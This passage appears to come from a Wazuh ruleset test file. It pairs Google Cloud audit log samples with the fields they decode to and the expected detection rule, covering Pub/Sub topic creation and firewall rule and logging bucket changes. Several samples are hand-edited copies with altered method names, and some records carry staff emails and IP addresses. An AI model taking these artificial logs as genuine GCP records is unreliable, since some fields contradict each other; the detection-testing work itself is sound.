"gcp.protoPayload.request.topic", "gcp.protoPayload.requestMetadata.callerIp", "gcp.protoPayload.requestMetadata.callerSuppliedUserAgent", "gcp.protoPayload.requestMetadata.requestAttributes.time", "gcp.protoPayload.resourceName", "gcp.protoPayload.response.ackDeadlineSeconds", "gcp.protoPayload.response.messageRetentionDuration", "gcp.protoPayload.response.name", "gcp.protoPayload.response.topic", "gcp.protoPayload.serviceName", "gcp.receiveTimestamp", "gcp.resource.labels.project_id", "gcp.resource.labels.topic_id", "gcp.resource.type", "gcp.severity", "gcp.timestamp", "integration"], "rule": "65051", "level": "3", "expected_decoder": "json", "expected_rule": "65051", "rule_matches_expected": true, "ini_file": "gcp.ini", "section": "Collection gcp_pub_sub subscription creation."} +{"log": "{\"gcp\":{\"severity\":\"NOTICE\",\"logName\":\"projects/wazuh-dev-258815/logs/cloudaudit.googleapis.com%2Factivity\",\"resource\":{\"type\":\"pubsub_topic\",\"labels\":{\"project_id\":\"wazuh-dev-258815\",\"topic_id\":\"projects/wazuh-dev-258815/topics/threatintel-gcp\"}},\"protoPayload\":{\"requestMetadata\":{\"requestAttributes\":{\"time\":\"2021-06-10T15:07:05.408091615Z\"},\"callerSuppliedUserAgent\":\"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Safari/537.36,gzip(gfe)\",\"callerIp\":\"80.39.210.176\"},\"request\":{\"@type\":\"type.googleapis.com/google.pubsub.v1.Topic\",\"name\":\"projects/wazuh-dev-258815/topics/threatintel-gcp\"},\"authenticationInfo\":{\"principalSubject\":\"user:javier.bejar@wazuh.com\",\"principalEmail\":\"javier.bejar@wazuh.com\"},\"authorizationInfo\":[{\"resource\":\"projects/wazuh-dev-258815\",\"permission\":\"pubsub.topics.create\",\"resourceAttributes\":{},\"granted\":true}],\"@type\":\"type.googleapis.com/google.cloud.audit.AuditLog\",\"response\":{\"@type\":\"type.googleapis.com/google.pubsub.v1.Topic\",\"name\":\"projects/wazuh-dev-258815/topics/threatintel-gcp\"},\"methodName\":\"google.pubsub.v1.Publisher.CreateTopic\",\"resourceName\":\"projects/wazuh-dev-258815/topics/threatintel-gcp\",\"serviceName\":\"pubsub.googleapis.com\"},\"receiveTimestamp\":\"2021-06-10T15:07:09.239238903Z\",\"insertId\":\"vmyzdgc4u3\",\"timestamp\":\"2021-06-10T15:07:05.400577592Z\"},\"integration\":\"gcp\"}", "decoder": "json", "parent": "", "fields": {"gcp.insertId": "vmyzdgc4u3", "gcp.logName": "projects/wazuh-dev-258815/logs/cloudaudit.googleapis.com%2Factivity", "gcp.protoPayload.authenticationInfo.principalEmail": "javier.bejar@wazuh.com", "gcp.protoPayload.authenticationInfo.principalSubject": "user:javier.bejar@wazuh.com", "gcp.protoPayload.authorizationInfo": "[{'resource': 'projects/wazuh-dev-258815', 'permission': 'pubsub.topics.create', 'resourceAttributes': {}, 'granted': True}]", "gcp.protoPayload.methodName": "google.pubsub.v1.Publisher.CreateTopic", "gcp.protoPayload.request.name": "projects/wazuh-dev-258815/topics/threatintel-gcp", "gcp.protoPayload.requestMetadata.callerIp": "80.39.210.176", "gcp.protoPayload.requestMetadata.callerSuppliedUserAgent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Safari/537.36,gzip(gfe)", "gcp.protoPayload.requestMetadata.requestAttributes.time": "2021-06-10T15:07:05.408091615Z", "gcp.protoPayload.resourceName": "projects/wazuh-dev-258815/topics/threatintel-gcp", "gcp.protoPayload.response.name": "projects/wazuh-dev-258815/topics/threatintel-gcp", "gcp.protoPayload.serviceName": "pubsub.googleapis.com", "gcp.receiveTimestamp": "2021-06-10T15:07:09.239238903Z", "gcp.resource.labels.project_id": "wazuh-dev-258815", "gcp.resource.labels.topic_id": "projects/wazuh-dev-258815/topics/threatintel-gcp", "gcp.resource.type": "pubsub_topic", "gcp.severity": "NOTICE", "gcp.timestamp": "2021-06-10T15:07:05.400577592Z", "integration": "gcp"}, "field_names": ["gcp.insertId", "gcp.logName", "gcp.protoPayload.authenticationInfo.principalEmail", "gcp.protoPayload.authenticationInfo.principalSubject", "gcp.protoPayload.authorizationInfo", "gcp.protoPayload.methodName", "gcp.protoPayload.request.name", "gcp.protoPayload.requestMetadata.callerIp", "gcp.protoPayload.requestMetadata.callerSuppliedUserAgent", "gcp.protoPayload.requestMetadata.requestAttributes.time", "gcp.protoPayload.resourceName", "gcp.protoPayload.response.name", "gcp.protoPayload.serviceName", "gcp.receiveTimestamp", "gcp.resource.labels.project_id", "gcp.resource.labels.topic_id", "gcp.resource.type", "gcp.severity", "gcp.timestamp", "integration"], "rule": "65052", "level": "3", "expected_decoder": "json", "expected_rule": "65052", "rule_matches_expected": true, "ini_file": "gcp.ini", "section": "Collection gcp_pub_sub topic creation."} +{"log": "{\"gcp\":{\"severity\":\"NOTICE\",\"logName\":\"projects/wazuh-dev-258815/logs/cloudaudit.googleapis.com%2Factivity\",\"resource\":{\"type\":\"gce_firewall_rule\",\"labels\":{\"project_id\":\"wazuh-dev-258815\",\"firewall_rule_id\":\"6352627401320071455\"}},\"protoPayload\":{\"requestMetadata\":{\"callerSuppliedUserAgent\":\"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36,gzip(gfe),gzip(gfe)\",\"callerIp\":\"213.194.154.232\"},\"request\":{\"@type\":\"type.googleapis.com/compute.firewalls.patch\"},\"authenticationInfo\":{\"principalEmail\":\"carlos.ridao@wazuh.com\"},\"@type\":\"type.googleapis.com/google.cloud.audit.AuditLog\",\"resourceOriginalState\":{\"logConfig\":{\"metadata\":\"INCLUDE_ALL_METADATA\",\"enable\":\"false\"},\"@type\":\"compute.googleapis.com/patch.state\",\"description\":\"Allow internal traffic on the default network\",\"priority\":\"65534\",\"network\":\"https://www.googleapis.com/compute/v1/projects/wazuh-dev-258815/global/networks/default\",\"selfLink\":\"https://www.googleapis.com/compute/v1/projects/wazuh-dev-258815/global/firewalls/default-allow-internal\",\"sourceRanges\":[\"10.128.0.0/9\"],\"selfLinkWithId\":\"https://www.googleapis.com/compute/v1/projects/wazuh-dev-258815/global/firewalls/6352627401320071455\",\"creationTimestamp\":\"2021-05-31T12:58:40.887-07:00\",\"name\":\"default-allow-internal\",\"alloweds\":[{\"IPProtocol\":\"tcp\",\"ports\":[\"0-65535\"]},{\"IPProtocol\":\"udp\",\"ports\":[\"0-65535\"]},{\"IPProtocol\":\"icmp\"}],\"disabled\":\"false\",\"id\":\"6352627401320071455\",\"enableLogging\":\"false\",\"direction\":\"INGRESS\"},\"methodName\":\"v1.compute.firewalls.insert\",\"resourceName\":\"projects/wazuh-dev-258815/global/firewalls/default-allow-internal\",\"serviceName\":\"compute.googleapis.com\"},\"receiveTimestamp\":\"2021-06-04T13:26:50.156887429Z\",\"operation\":{\"last\":\"true\",\"producer\":\"compute.googleapis.com\",\"id\":\"operation-1622813206787-5c3f0a4ba3417-3838b401-5fcfe6fd\"},\"insertId\":\"qx0fpcdfo5k\",\"timestamp\":\"2021-06-04T13:26:49.79784Z\"},\"integration\":\"gcp\"}", "decoder": "json", "parent": "", "fields": {"gcp.insertId": "qx0fpcdfo5k", "gcp.logName": "projects/wazuh-dev-258815/logs/cloudaudit.googleapis.com%2Factivity", "gcp.operation.id": "operation-1622813206787-5c3f0a4ba3417-3838b401-5fcfe6fd", "gcp.operation.last": "true", "gcp.operation.producer": "compute.googleapis.com", "gcp.protoPayload.authenticationInfo.principalEmail": "carlos.ridao@wazuh.com", "gcp.protoPayload.methodName": "v1.compute.firewalls.insert", "gcp.protoPayload.requestMetadata.callerIp": "213.194.154.232", "gcp.protoPayload.requestMetadata.callerSuppliedUserAgent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36,gzip(gfe),gzip(gfe)", "gcp.protoPayload.resourceName": "projects/wazuh-dev-258815/global/firewalls/default-allow-internal", "gcp.protoPayload.resourceOriginalState.alloweds": "[{'IPProtocol': 'tcp', 'ports': ['0-65535']}, {'IPProtocol': 'udp', 'ports': ['0-65535']}, {'IPProtocol': 'icmp'}]", "gcp.protoPayload.resourceOriginalState.creationTimestamp": "2021-05-31T12:58:40.887-07:00", "gcp.protoPayload.resourceOriginalState.description": "Allow internal traffic on the default network", "gcp.protoPayload.resourceOriginalState.direction": "INGRESS", "gcp.protoPayload.resourceOriginalState.disabled": "false", "gcp.protoPayload.resourceOriginalState.enableLogging": "false", "gcp.protoPayload.resourceOriginalState.id": "6352627401320071455", "gcp.protoPayload.resourceOriginalState.logConfig.enable": "false", "gcp.protoPayload.resourceOriginalState.logConfig.metadata": "INCLUDE_ALL_METADATA", "gcp.protoPayload.resourceOriginalState.name": "default-allow-internal", "gcp.protoPayload.resourceOriginalState.network": "https://www.googleapis.com/compute/v1/projects/wazuh-dev-258815/global/networks/default", "gcp.protoPayload.resourceOriginalState.priority": "65534", "gcp.protoPayload.resourceOriginalState.selfLink": "https://www.googleapis.com/compute/v1/projects/wazuh-dev-258815/global/firewalls/default-allow-internal", "gcp.protoPayload.resourceOriginalState.selfLinkWithId": "https://www.googleapis.com/compute/v1/projects/wazuh-dev-258815/global/firewalls/6352627401320071455", "gcp.protoPayload.resourceOriginalState.sourceRanges": "['10.128.0.0/9']", "gcp.protoPayload.serviceName": "compute.googleapis.com", "gcp.receiveTimestamp": "2021-06-04T13:26:50.156887429Z", "gcp.resource.labels.firewall_rule_id": "6352627401320071455", "gcp.resource.labels.project_id": "wazuh-dev-258815", "gcp.resource.type": "gce_firewall_rule", "gcp.severity": "NOTICE", "gcp.timestamp": "2021-06-04T13:26:49.79784Z", "integration": "gcp"}, "field_names": ["gcp.insertId", "gcp.logName", "gcp.operation.id", "gcp.operation.last", "gcp.operation.producer", "gcp.protoPayload.authenticationInfo.principalEmail", "gcp.protoPayload.methodName", "gcp.protoPayload.requestMetadata.callerIp", "gcp.protoPayload.requestMetadata.callerSuppliedUserAgent", "gcp.protoPayload.resourceName", "gcp.protoPayload.resourceOriginalState.alloweds", "gcp.protoPayload.resourceOriginalState.creationTimestamp", "gcp.protoPayload.resourceOriginalState.description", "gcp.protoPayload.resourceOriginalState.direction", "gcp.protoPayload.resourceOriginalState.disabled", "gcp.protoPayload.resourceOriginalState.enableLogging", "gcp.protoPayload.resourceOriginalState.id", "gcp.protoPayload.resourceOriginalState.logConfig.enable", "gcp.protoPayload.resourceOriginalState.logConfig.metadata", "gcp.protoPayload.resourceOriginalState.name", "gcp.protoPayload.resourceOriginalState.network", "gcp.protoPayload.resourceOriginalState.priority", "gcp.protoPayload.resourceOriginalState.selfLink", "gcp.protoPayload.resourceOriginalState.selfLinkWithId", "gcp.protoPayload.resourceOriginalState.sourceRanges", "gcp.protoPayload.serviceName", "gcp.receiveTimestamp", "gcp.resource.labels.firewall_rule_id", "gcp.resource.labels.project_id", "gcp.resource.type", "gcp.severity", "gcp.timestamp", "integration"], "rule": "65053", "level": "3", "expected_decoder": "json", "expected_rule": "65053", "rule_matches_expected": true, "ini_file": "gcp.ini", "section": "GCP firewall rule created."} +{"log": "{\"gcp\":{\"severity\":\"NOTICE\",\"logName\":\"projects/wazuh-dev-258815/logs/cloudaudit.googleapis.com%2Factivity\",\"resource\":{\"type\":\"gce_firewall_rule\",\"labels\":{\"project_id\":\"wazuh-dev-258815\",\"firewall_rule_id\":\"6352627401320071455\"}},\"protoPayload\":{\"requestMetadata\":{\"callerSuppliedUserAgent\":\"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36,gzip(gfe),gzip(gfe)\",\"callerIp\":\"213.194.154.232\"},\"request\":{\"@type\":\"type.googleapis.com/compute.firewalls.patch\"},\"authenticationInfo\":{\"principalEmail\":\"carlos.ridao@wazuh.com\"},\"@type\":\"type.googleapis.com/google.cloud.audit.AuditLog\",\"resourceOriginalState\":{\"logConfig\":{\"metadata\":\"INCLUDE_ALL_METADATA\",\"enable\":\"false\"},\"@type\":\"compute.googleapis.com/patch.state\",\"description\":\"Allow internal traffic on the default network\",\"priority\":\"65534\",\"network\":\"https://www.googleapis.com/compute/v1/projects/wazuh-dev-258815/global/networks/default\",\"selfLink\":\"https://www.googleapis.com/compute/v1/projects/wazuh-dev-258815/global/firewalls/default-allow-internal\",\"sourceRanges\":[\"10.128.0.0/9\"],\"selfLinkWithId\":\"https://www.googleapis.com/compute/v1/projects/wazuh-dev-258815/global/firewalls/6352627401320071455\",\"creationTimestamp\":\"2021-05-31T12:58:40.887-07:00\",\"name\":\"default-allow-internal\",\"alloweds\":[{\"IPProtocol\":\"tcp\",\"ports\":[\"0-65535\"]},{\"IPProtocol\":\"udp\",\"ports\":[\"0-65535\"]},{\"IPProtocol\":\"icmp\"}],\"disabled\":\"false\",\"id\":\"6352627401320071455\",\"enableLogging\":\"false\",\"direction\":\"INGRESS\"},\"methodName\":\"v1.compute.firewalls.delete\",\"resourceName\":\"projects/wazuh-dev-258815/global/firewalls/default-allow-internal\",\"serviceName\":\"compute.googleapis.com\"},\"receiveTimestamp\":\"2021-06-04T13:26:50.156887429Z\",\"operation\":{\"last\":\"true\",\"producer\":\"compute.googleapis.com\",\"id\":\"operation-1622813206787-5c3f0a4ba3417-3838b401-5fcfe6fd\"},\"insertId\":\"qx0fpcdfo5k\",\"timestamp\":\"2021-06-04T13:26:49.79784Z\"},\"integration\":\"gcp\"}", "decoder": "json", "parent": "", "fields": {"gcp.insertId": "qx0fpcdfo5k", "gcp.logName": "projects/wazuh-dev-258815/logs/cloudaudit.googleapis.com%2Factivity", "gcp.operation.id": "operation-1622813206787-5c3f0a4ba3417-3838b401-5fcfe6fd", "gcp.operation.last": "true", "gcp.operation.producer": "compute.googleapis.com", "gcp.protoPayload.authenticationInfo.principalEmail": "carlos.ridao@wazuh.com", "gcp.protoPayload.methodName": "v1.compute.firewalls.delete", "gcp.protoPayload.requestMetadata.callerIp": "213.194.154.232", "gcp.protoPayload.requestMetadata.callerSuppliedUserAgent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36,gzip(gfe),gzip(gfe)", "gcp.protoPayload.resourceName": "projects/wazuh-dev-258815/global/firewalls/default-allow-internal", "gcp.protoPayload.resourceOriginalState.alloweds": "[{'IPProtocol': 'tcp', 'ports': ['0-65535']}, {'IPProtocol': 'udp', 'ports': ['0-65535']}, {'IPProtocol': 'icmp'}]", "gcp.protoPayload.resourceOriginalState.creationTimestamp": "2021-05-31T12:58:40.887-07:00", "gcp.protoPayload.resourceOriginalState.description": "Allow internal traffic on the default network", "gcp.protoPayload.resourceOriginalState.direction": "INGRESS", "gcp.protoPayload.resourceOriginalState.disabled": "false", "gcp.protoPayload.resourceOriginalState.enableLogging": "false", "gcp.protoPayload.resourceOriginalState.id": "6352627401320071455", "gcp.protoPayload.resourceOriginalState.logConfig.enable": "false", "gcp.protoPayload.resourceOriginalState.logConfig.metadata": "INCLUDE_ALL_METADATA", "gcp.protoPayload.resourceOriginalState.name": "default-allow-internal", "gcp.protoPayload.resourceOriginalState.network": "https://www.googleapis.com/compute/v1/projects/wazuh-dev-258815/global/networks/default", "gcp.protoPayload.resourceOriginalState.priority": "65534", "gcp.protoPayload.resourceOriginalState.selfLink": "https://www.googleapis.com/compute/v1/projects/wazuh-dev-258815/global/firewalls/default-allow-internal", "gcp.protoPayload.resourceOriginalState.selfLinkWithId": "https://www.googleapis.com/compute/v1/projects/wazuh-dev-258815/global/firewalls/6352627401320071455", "gcp.protoPayload.resourceOriginalState.sourceRanges": "['10.128.0.0/9']", "gcp.protoPayload.serviceName": "compute.googleapis.com", "gcp.receiveTimestamp": "2021-06-04T13:26:50.156887429Z", "gcp.resource.labels.firewall_rule_id": "6352627401320071455", "gcp.resource.labels.project_id": "wazuh-dev-258815", "gcp.resource.type": "gce_firewall_rule", "gcp.severity": "NOTICE", "gcp.timestamp": "2021-06-04T13:26:49.79784Z", "integration": "gcp"}, "field_names": ["gcp.insertId", "gcp.logName", "gcp.operation.id", "gcp.operation.last", "gcp.operation.producer", "gcp.protoPayload.authenticationInfo.principalEmail", "gcp.protoPayload.methodName", "gcp.protoPayload.requestMetadata.callerIp", "gcp.protoPayload.requestMetadata.callerSuppliedUserAgent", "gcp.protoPayload.resourceName", "gcp.protoPayload.resourceOriginalState.alloweds", "gcp.protoPayload.resourceOriginalState.creationTimestamp", "gcp.protoPayload.resourceOriginalState.description", "gcp.protoPayload.resourceOriginalState.direction", "gcp.protoPayload.resourceOriginalState.disabled", "gcp.protoPayload.resourceOriginalState.enableLogging", "gcp.protoPayload.resourceOriginalState.id", "gcp.protoPayload.resourceOriginalState.logConfig.enable", "gcp.protoPayload.resourceOriginalState.logConfig.metadata", "gcp.protoPayload.resourceOriginalState.name", "gcp.protoPayload.resourceOriginalState.network", "gcp.protoPayload.resourceOriginalState.priority", "gcp.protoPayload.resourceOriginalState.selfLink", "gcp.protoPayload.resourceOriginalState.selfLinkWithId", "gcp.protoPayload.resourceOriginalState.sourceRanges", "gcp.protoPayload.serviceName", "gcp.receiveTimestamp", "gcp.resource.labels.firewall_rule_id", "gcp.resource.labels.project_id", "gcp.resource.type", "gcp.severity", "gcp.timestamp", "integration"], "rule": "65054", "level": "3", "expected_decoder": "json", "expected_rule": "65054", "rule_matches_expected": true, "ini_file": "gcp.ini", "section": "GCP firewall rule deleted."} +{"log": "{\"gcp\":{\"severity\":\"NOTICE\",\"logName\":\"projects/wazuh-dev-258815/logs/cloudaudit.googleapis.com%2Factivity\",\"resource\":{\"type\":\"gce_firewall_rule\",\"labels\":{\"project_id\":\"wazuh-dev-258815\",\"firewall_rule_id\":\"6352627401320071455\"}},\"protoPayload\":{\"requestMetadata\":{\"callerSuppliedUserAgent\":\"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36,gzip(gfe),gzip(gfe)\",\"callerIp\":\"213.194.154.232\"},\"request\":{\"@type\":\"type.googleapis.com/compute.firewalls.patch\"},\"authenticationInfo\":{\"principalEmail\":\"carlos.ridao@wazuh.com\"},\"@type\":\"type.googleapis.com/google.cloud.audit.AuditLog\",\"resourceOriginalState\":{\"logConfig\":{\"metadata\":\"INCLUDE_ALL_METADATA\",\"enable\":\"false\"},\"@type\":\"compute.googleapis.com/patch.state\",\"description\":\"Allow internal traffic on the default network\",\"priority\":\"65534\",\"network\":\"https://www.googleapis.com/compute/v1/projects/wazuh-dev-258815/global/networks/default\",\"selfLink\":\"https://www.googleapis.com/compute/v1/projects/wazuh-dev-258815/global/firewalls/default-allow-internal\",\"sourceRanges\":[\"10.128.0.0/9\"],\"selfLinkWithId\":\"https://www.googleapis.com/compute/v1/projects/wazuh-dev-258815/global/firewalls/6352627401320071455\",\"creationTimestamp\":\"2021-05-31T12:58:40.887-07:00\",\"name\":\"default-allow-internal\",\"alloweds\":[{\"IPProtocol\":\"tcp\",\"ports\":[\"0-65535\"]},{\"IPProtocol\":\"udp\",\"ports\":[\"0-65535\"]},{\"IPProtocol\":\"icmp\"}],\"disabled\":\"false\",\"id\":\"6352627401320071455\",\"enableLogging\":\"false\",\"direction\":\"INGRESS\"},\"methodName\":\"v1.compute.firewalls.patch\",\"resourceName\":\"projects/wazuh-dev-258815/global/firewalls/default-allow-internal\",\"serviceName\":\"compute.googleapis.com\"},\"receiveTimestamp\":\"2021-06-04T13:26:50.156887429Z\",\"operation\":{\"last\":\"true\",\"producer\":\"compute.googleapis.com\",\"id\":\"operation-1622813206787-5c3f0a4ba3417-3838b401-5fcfe6fd\"},\"insertId\":\"qx0fpcdfo5k\",\"timestamp\":\"2021-06-04T13:26:49.79784Z\"},\"integration\":\"gcp\"}", "decoder": "json", "parent": "", "fields": {"gcp.insertId": "qx0fpcdfo5k", "gcp.logName": "projects/wazuh-dev-258815/logs/cloudaudit.googleapis.com%2Factivity", "gcp.operation.id": "operation-1622813206787-5c3f0a4ba3417-3838b401-5fcfe6fd", "gcp.operation.last": "true", "gcp.operation.producer": "compute.googleapis.com", "gcp.protoPayload.authenticationInfo.principalEmail": "carlos.ridao@wazuh.com", "gcp.protoPayload.methodName": "v1.compute.firewalls.patch", "gcp.protoPayload.requestMetadata.callerIp": "213.194.154.232", "gcp.protoPayload.requestMetadata.callerSuppliedUserAgent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36,gzip(gfe),gzip(gfe)", "gcp.protoPayload.resourceName": "projects/wazuh-dev-258815/global/firewalls/default-allow-internal", "gcp.protoPayload.resourceOriginalState.alloweds": "[{'IPProtocol': 'tcp', 'ports': ['0-65535']}, {'IPProtocol': 'udp', 'ports': ['0-65535']}, {'IPProtocol': 'icmp'}]", "gcp.protoPayload.resourceOriginalState.creationTimestamp": "2021-05-31T12:58:40.887-07:00", "gcp.protoPayload.resourceOriginalState.description": "Allow internal traffic on the default network", "gcp.protoPayload.resourceOriginalState.direction": "INGRESS", "gcp.protoPayload.resourceOriginalState.disabled": "false", "gcp.protoPayload.resourceOriginalState.enableLogging": "false", "gcp.protoPayload.resourceOriginalState.id": "6352627401320071455", "gcp.protoPayload.resourceOriginalState.logConfig.enable": "false", "gcp.protoPayload.resourceOriginalState.logConfig.metadata": "INCLUDE_ALL_METADATA", "gcp.protoPayload.resourceOriginalState.name": "default-allow-internal", "gcp.protoPayload.resourceOriginalState.network": "https://www.googleapis.com/compute/v1/projects/wazuh-dev-258815/global/networks/default", "gcp.protoPayload.resourceOriginalState.priority": "65534", "gcp.protoPayload.resourceOriginalState.selfLink": "https://www.googleapis.com/compute/v1/projects/wazuh-dev-258815/global/firewalls/default-allow-internal", "gcp.protoPayload.resourceOriginalState.selfLinkWithId": "https://www.googleapis.com/compute/v1/projects/wazuh-dev-258815/global/firewalls/6352627401320071455", "gcp.protoPayload.resourceOriginalState.sourceRanges": "['10.128.0.0/9']", "gcp.protoPayload.serviceName": "compute.googleapis.com", "gcp.receiveTimestamp": "2021-06-04T13:26:50.156887429Z", "gcp.resource.labels.firewall_rule_id": "6352627401320071455", "gcp.resource.labels.project_id": "wazuh-dev-258815", "gcp.resource.type": "gce_firewall_rule", "gcp.severity": "NOTICE", "gcp.timestamp": "2021-06-04T13:26:49.79784Z", "integration": "gcp"}, "field_names": ["gcp.insertId", "gcp.logName", "gcp.operation.id", "gcp.operation.last", "gcp.operation.producer", "gcp.protoPayload.authenticationInfo.principalEmail", "gcp.protoPayload.methodName", "gcp.protoPayload.requestMetadata.callerIp", "gcp.protoPayload.requestMetadata.callerSuppliedUserAgent", "gcp.protoPayload.resourceName", "gcp.protoPayload.resourceOriginalState.alloweds", "gcp.protoPayload.resourceOriginalState.creationTimestamp", "gcp.protoPayload.resourceOriginalState.description", "gcp.protoPayload.resourceOriginalState.direction", "gcp.protoPayload.resourceOriginalState.disabled", "gcp.protoPayload.resourceOriginalState.enableLogging", "gcp.protoPayload.resourceOriginalState.id", "gcp.protoPayload.resourceOriginalState.logConfig.enable", "gcp.protoPayload.resourceOriginalState.logConfig.metadata", "gcp.protoPayload.resourceOriginalState.name", "gcp.protoPayload.resourceOriginalState.network", "gcp.protoPayload.resourceOriginalState.priority", "gcp.protoPayload.resourceOriginalState.selfLink", "gcp.protoPayload.resourceOriginalState.selfLinkWithId", "gcp.protoPayload.resourceOriginalState.sourceRanges", "gcp.protoPayload.serviceName", "gcp.receiveTimestamp", "gcp.resource.labels.firewall_rule_id", "gcp.resource.labels.project_id", "gcp.resource.type", "gcp.severity", "gcp.timestamp", "integration"], "rule": "65055", "level": "3", "expected_decoder": "json", "expected_rule": "65055", "rule_matches_expected": true, "ini_file": "gcp.ini", "section": "Defense evasion gcp_firewall_rule modified."} +{"log": "{\"gcp\":{\"severity\":\"INFO\",\"logName\":\"projects/wazuh-dev-258815/logs/cloudaudit.googleapis.com%2Fdata_access\",\"resource\":{\"type\":\"audited_resource\",\"labels\":{\"method\":\"google.monitoring.v3.MetricService.ListTimeSeries\",\"project_id\":\"wazuh-dev-258815\",\"service\":\"monitoring.googleapis.com\"}},\"protoPayload\":{\"requestMetadata\":{\"requestAttributes\":{\"time\":\"2021-06-11T09:35:18.077583788Z\"},\"callerSuppliedUserAgent\":\"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Safari/537.36,gzip(gfe)\",\"callerIp\":\"80.39.210.176\"},\"request\":{\"filter\":\"metric.type=\\\"pubsub.googleapis.com/topic/send_message_operation_count\\\" AND resource.labels.project_id=\\\"wazuh-dev-258815\\\" AND resource.labels.topic_id=\\\"wazuh-gcloud-blog-topic\\\" AND resource.type=\\\"pubsub_topic\\\"\",\"@type\":\"type.googleapis.com/google.monitoring.v3.ListTimeSeriesRequest\",\"name\":\"projects/wazuh-dev-258815\"},\"authenticationInfo\":{\"principalEmail\":\"javier.bejar@wazuh.com\"},\"authorizationInfo\":[{\"resource\":\"769054035614\",\"permission\":\"monitoring.timeSeries.list\",\"resourceAttributes\":{},\"granted\":true}],\"@type\":\"type.googleapis.com/google.cloud.audit.AuditLog\",\"numResponseItems\":\"1\",\"methodName\":\"google.logging.v3.ConfigServiceV1.DeleteBucket\",\"resourceName\":\"projects/wazuh-dev-258815\",\"serviceName\":\"monitoring.googleapis.com\"},\"receiveTimestamp\":\"2021-06-11T09:35:18.35940193Z\",\"insertId\":\"s1gmn4e7xlr1\",\"timestamp\":\"2021-06-11T09:35:18.077460268Z\"},\"integration\":\"gcp\"}", "decoder": "json", "parent": "", "fields": {"gcp.insertId": "s1gmn4e7xlr1", "gcp.logName": "projects/wazuh-dev-258815/logs/cloudaudit.googleapis.com%2Fdata_access", "gcp.protoPayload.authenticationInfo.principalEmail": "javier.bejar@wazuh.com", "gcp.protoPayload.authorizationInfo": "[{'resource': '769054035614', 'permission': 'monitoring.timeSeries.list', 'resourceAttributes': {}, 'granted': True}]", "gcp.protoPayload.methodName": "google.logging.v3.ConfigServiceV1.DeleteBucket", "gcp.protoPayload.numResponseItems": "1", "gcp.protoPayload.request.filter": "metric.type=\"pubsub.googleapis.com/topic/send_message_operation_count\" AND resource.labels.project_id=\"wazuh-dev-258815\" AND resource.labels.topic_id=\"wazuh-gcloud-blog-topic\" AND resource.type=\"pubsub_topic\"", "gcp.protoPayload.request.name": "projects/wazuh-dev-258815", "gcp.protoPayload.requestMetadata.callerIp": "80.39.210.176", "gcp.protoPayload.requestMetadata.callerSuppliedUserAgent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Safari/537.36,gzip(gfe)", "gcp.protoPayload.requestMetadata.requestAttributes.time": "2021-06-11T09:35:18.077583788Z", "gcp.protoPayload.resourceName": "projects/wazuh-dev-258815", "gcp.protoPayload.serviceName": "monitoring.googleapis.com", "gcp.receiveTimestamp": "2021-06-11T09:35:18.35940193Z", "gcp.resource.labels.method": "google.monitoring.v3.MetricService.ListTimeSeries", "gcp.resource.labels.project_id": "wazuh-dev-258815", "gcp.resource.labels.service": "monitoring.googleapis.com", "gcp.resource.type": "audited_resource", "gcp.severity": "INFO", "gcp.timestamp": "2021-06-11T09:35:18.077460268Z", "integration": "gcp"}, "field_names": ["gcp.insertId", "gcp.logName", "gcp.protoPayload.authenticationInfo.principalEmail", "gcp.protoPayload.authorizationInfo", "gcp.protoPayload.methodName", "gcp.protoPayload.numResponseItems", "gcp.protoPayload.request.filter", "gcp.protoPayload.request.name", "gcp.protoPayload.requestMetadata.callerIp", "gcp.protoPayload.requestMetadata.callerSuppliedUserAgent", "gcp.protoPayload.requestMetadata.requestAttributes.time", "gcp.protoPayload.resourceName", "gcp.protoPayload.serviceName", "gcp.receiveTimestamp", "gcp.resource.labels.method", "gcp.resource.labels.project_id", "gcp.resource.labels.service", "gcp.resource.type", "gcp.severity", "gcp.timestamp", "integration"], "rule": "65056", "level": "3", "expected_decoder": "json", "expected_rule": "65056", "rule_matches_expected": true, "ini_file": "gcp.ini", "section": "GCP logging bucket deleted."} +{"log": "{\"gcp\":{\"severity\":\"INFO\",\"logName\":\"projects/wazuh-dev-258815/logs/cloudaudit.googleapis.com%2Fdata_access\",\"resource\":{\"type\":\"audited_resource\",\"labels\":{\"method\":\"google.monitoring.v3.MetricService.ListTimeSeries\",\"project_id\":\"wazuh-dev-258815\",\"service\":\"monitoring.googleapis.com\"}},\"protoPayload\":{\"requestMetadata\":{\"requestAttributes\":{\"time\":\"2021-06-11T09:35:18.077583788Z\"},\"callerSuppliedUserAgent\":\"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Safari/537.36,gzip(gfe)\",\"callerIp\":\"80.39.210.176\"},\"request\":{\"filter\":\"metric.type=\\\"pubsub.googleapis.com/topic/send_message_operation_count\\\" AND resource.labels.project_id=\\\"wazuh-dev-258815\\\" AND resource.labels.topic_id=\\\"wazuh-gcloud-blog-topic\\\" AND 